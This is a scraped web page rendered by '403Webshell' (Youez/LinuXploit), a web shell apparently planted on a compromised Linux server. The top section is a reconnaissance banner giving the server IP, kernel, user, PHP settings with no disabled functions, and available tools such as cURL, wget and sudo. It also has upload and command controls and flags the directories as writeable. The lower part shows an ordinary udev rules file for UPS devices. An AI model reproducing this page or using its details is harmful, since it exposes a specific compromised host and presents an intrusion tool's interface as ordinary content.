403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib64/udev/rules.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/udev/rules.d/50-ups.rules
#author: Network Infrastructure Team

#only for usb device
SUBSYSTEM!="usb", GOTO="ups_end"

# only for add/remove event
ACTION!="add|remove", GOTO="ups_end"

# do nothing, if no correct info
ENV{MAJOR}=="", GOTO="ups_end"
ENV{MINOR}=="", GOTO="ups_end"
ENV{PRODUCT}=="", GOTO="ups_end"
ENV{SYNO_SUPPORT_DUALHEAD}=="yes", GOTO="ups_end"
ENV{SYNO_SUPPORT_XA}=="yes", GOTO="ups_end"
ENV{SYNO_VIRTUAL_DSM}=="yes", GOTO="ups_end"

# check UPS VID/PID by ENV{PRODUCT}
PROGRAM="/lib/udev/script/ups-check.sh", RESULT=="unsupported", GOTO="ups_end"

# run the driver for UPS device
ACTION=="add", RUN+="/lib/udev/script/ups-util.sh start"
ACTION=="remove", RUN+="/lib/udev/script/ups-util.sh stop"

LABEL="ups_end"


Youez - 2016 - github.com/yon3zu
LinuXploit